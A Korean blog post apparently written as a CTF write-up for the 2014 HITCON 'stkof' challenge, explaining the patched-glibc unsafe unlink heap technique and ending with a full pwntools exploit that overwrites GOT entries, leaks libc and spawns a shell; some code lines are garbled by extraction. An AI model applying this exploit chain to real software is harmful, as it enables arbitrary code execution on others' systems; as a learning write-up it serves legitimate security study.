본문 바로가기

공부는 계속 ../Pwnable Writeup

2014 hitcon stkof (unsafe unlink)

그동안은 패치되기 전의 unsafe unlink 만 공부해왔다면


이제는 패치된 후의 unsafe unlink 를 풀어보도록 한다. (얼떨결에 이런 문제가 얻어걸려서 공부하기 좋은 기회라고 생각한다.)


how2heap 의 usnafe unlink 에 대해서 공부를 한 뒤에 문제를 풀어봐야겠다. 


how2heap 에 너무 자세하고 예술일 정도로 잘 나와 있으므로 문서를 좀 정리해봐야겠다.


https://www.lazenca.net/display/TEC/unsafe+unlink 여기 문서에 너무나 자세히 설명해 있다. (꼭 정독하기 바람 두번 세번)


http://code1018.tistory.com/195 여기도 같이 참고하면 좋을거 같다.



전체적인 Exploit plan 은 다음과 같다. 


다음과 같은 방법으로 공격할 수 있습니다.

  • 2개의 Heap 영역을 할당 합니다.

    • Heap size : 0x80

    • 할당받은 첫번째 Heap 영역의 주소는 전역변수에 저장합니다.
  • 1번째 Heap 영역에 Fake chunk(Free) 구조를 저장합니다.(fd, bk)

    • fd : Target Address(전역변수 주소) - 0x18

    • bk : Target Address(전역변수 주소) - 0x10 
  • 2번째 Heap 영역의 Header 값을 다음과 같이 변경합니다.

    • "prev_size" 설정 : 0x90 - 0x10 = 0x80

    • "PREV_INUSE" flag 해제 : 0x91 - 0x1 = 0x90

    • 2번째 Heap 영역이 Free chunk 구조로 변경되었습니다.
  • 2번째 Heap 영역을 해제 합니다.

  • 전역변수 영역에 Fake chunk의 fd값이 저장됩니다.
  • 전역변수[3] 영역에 공격자가 접근하려는 주소 값을 저장합니다.
    • 전역변수를 통해 원하는 영역에 값을 쓸 수 있습니다.

FD->bk != P || BK->fd != P

  • 아래와 같이 unlink()함수에서 P→fd→bk, P→bk→fd 의 값이 P의 값과 다른지 확인합니다.
    • 값이 다를 경우 Error 메시지를 출력합니다.
      • "corrupted double-linked list"

  • 해당 조건을 우회하기 위해 다음과 같은 Fake chunk가 필요합니다.
    • fd 영역에 "fake chunk 주소가 저장된 변수의 주소 - 0x18" 값을 저장합니다.
    • bk 영역에 "fake chunk 주소가 저장된 변수의 주소 - 0x10" 값을 저장합니다.

chunksize(P) != prev_size (next_chunk(P)

  • 아래와 같이 unlink()함수에서 P→size와 next chunk→prev_size 의 값이 다른지 확인합니다.
    • 값이 다를 경우 "corrupted size vs. prev_size" Error 메시지를 출력합니다.
  • 해당 조건을 우회하기 위해 다음과 같은 Fake chunk가 필요합니다.
    • prev_size : 0x0
    • size : 0x0
  •  해당 취약성은 Heap 영역을 재할당 받기 위한 것이 아니기 때문에 prev_size, size 영역에 0x0을 저장해 해당 조건을 우회만 합니다.
    • size영역의 값이 0x0이기 때문에 next chunk의 주소는 fake chunk의 주소가 됩니다.
      • P→size : 0x0
      • next chunk→prev_size : 0x0(Fack chunk의 prev_size 영역)


이를 바탕으로 익스플로잇 작성을 진행해본다.


첫 번째 제약조건을 해결하기 위해 글로벌 변수가 저장되어 있는 위치를 찾아야 한다.


어떻게 찾을까? 다들 어떻게 bss영역을 바로 구했을까? ex)0x602150

그냥 gdb로 찾았나봄.. gdb상과 프로그램 실행상에 주소가 바뀔거 같았는데 안바뀌나보다.. 이부분도 조금 공부해서 물어볼 필요가 있을 것 같다.

그렇가면 우리가 잡을 bss target 은 두 번째 힙 할당 주소인 0x602150 이다!



전체적인 Exploit Code를 보자.

그럼 unlink에 의해 0x602160에 있던 실제 2번째 버퍼의 값(0x305890)이 0x602138로 바뀌어버리는 현상이 발생하였고,

이후 modify(2, len(payload), payload) 를 진행하면 다음과 같이 메모리에 값이 적힌다.

0x602130

AAAAAAAA
0x602140
AAAAAAAA
strlen@got
0x602150
0x602158
fgets@got
0x602160
0x602168
"/bin/sh\x00"
0x602170



이후 modify(1, 8, p64(elf.plt["printf"])) 를 진행하면 원래 1번째 힙 주소는 0x602148 이므로 여길 참조하는 곳에 

strlen@got -> printf@plt 로 바뀌게 된다.

p.sendline("4") 를 진행하면 원래 strlen(포인터주소, 다음에 sendline으로전달되는 숫자) 의 길이를 출력해준다. (이건 ida로 딱봐도 보임)

p.sendline("3") 을 해주면 3번째 힙에 있는 것의 길이를 출력하라는 거지만 print@plt가 호출되고,  3번 힙의 주소에는 fgets@got가 젹혀있고.. fets@got를 출력할 수 있음



system의 주소는 fgets - 0x28740 = system

를 구하고 위와 같은 방식으로 한번 더 덮어써주면 익스플로잇 완성!

왜 strlen@got 에 printf@plt 를 넣어준걸까? strlen@plt에 넣어주지 않고? 
     -> strlen@plt 는 맨 처음에만 호출되고 그 다음에 호출되지 않음 따라서 got에 넣어줘야함
     -> 그렇다면 printf@got 를 넣지않고 printf@plt를 넣은 이유는? 나도 아직은 잘 모르겠음.. 좀 더 수련을.. 아래 처럼 출력해보니 got가 제대로 출력이 안되는걸 볼 수 있으니 갱신이 안되었나보군..


print "-------------"
print hex(e.plt["printf"])
print hex(e.got["printf"])
print "-------------"
-------------
printf@plt -> 0x4007a0
printf@got(?) ->0x602040
-------------



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
 
= process('./stkof')
= ELF('./stkof')
target = 0x602150
 
def malloc(size):
    p.sendline('1')
    p.sendline(str(size))
    print p.recvuntil('OK')
 
def modify(index, size, data):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size+1))
    p.sendline(data)
    print p.recvuntil('OK')
 
def free(index):
    p.sendline('3')
    p.sendline(str(index))
    print p.recvuntil('OK')
 
malloc(0x80)
malloc(0x80)
malloc(0x80)
malloc(0x80)
 
payload = p64(0)*2 # heap2(fake_chunk) : prev_size, size
payload += p64(target -0x18+ p64(target -0x10#fake_chunk : fd, bk
payload += "A" * 0x60 #fake_chunk : Data...
payload += p64(0x80+ p64(0x90#heap3 : prev_size, size(PREV_INUSE:0)
 
modify(2,len(payload),payload)
 
free(3#0x602150[0] : 0x602138
 
payload = "A" * 0x10
payload += p64(e.got["strlen"])
payload += p64(0x602158)
payload += p64(e.got["fgets"])
payload += p64(0x602168)
payload += "/bin/sh\x00"
 
modify(2len(payload), payload)
modify(18, p64(e.plt["printf"]))
 
print "-------------"
print hex(e.plt["printf"])
print hex(e.got["printf"])
print "-------------"
 
p.sendline("4")
p.sendline("3")
 
 
print (p.recv(1))
 
leak = u64(p.recv(6).ljust(8,"\x00"))
print hex(leak)
system = leak - 0x28740
print hex(system)
 
modify(18, p64(system))
 
p.sendline("4")
p.sendline("4")
 
p.interactive()
 
cs






'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

DEFCON CTF Qual 2017 beatmeonthedl  (0) 2018.03.20
defcon 2014 Baby_first_heap  (0) 2018.03.14
heap 문제 풀이 목록  (0) 2018.03.13
Codegate 2017 messenger  (0) 2018.03.01
Plaid CTF 2014 ezhp  (0) 2018.03.01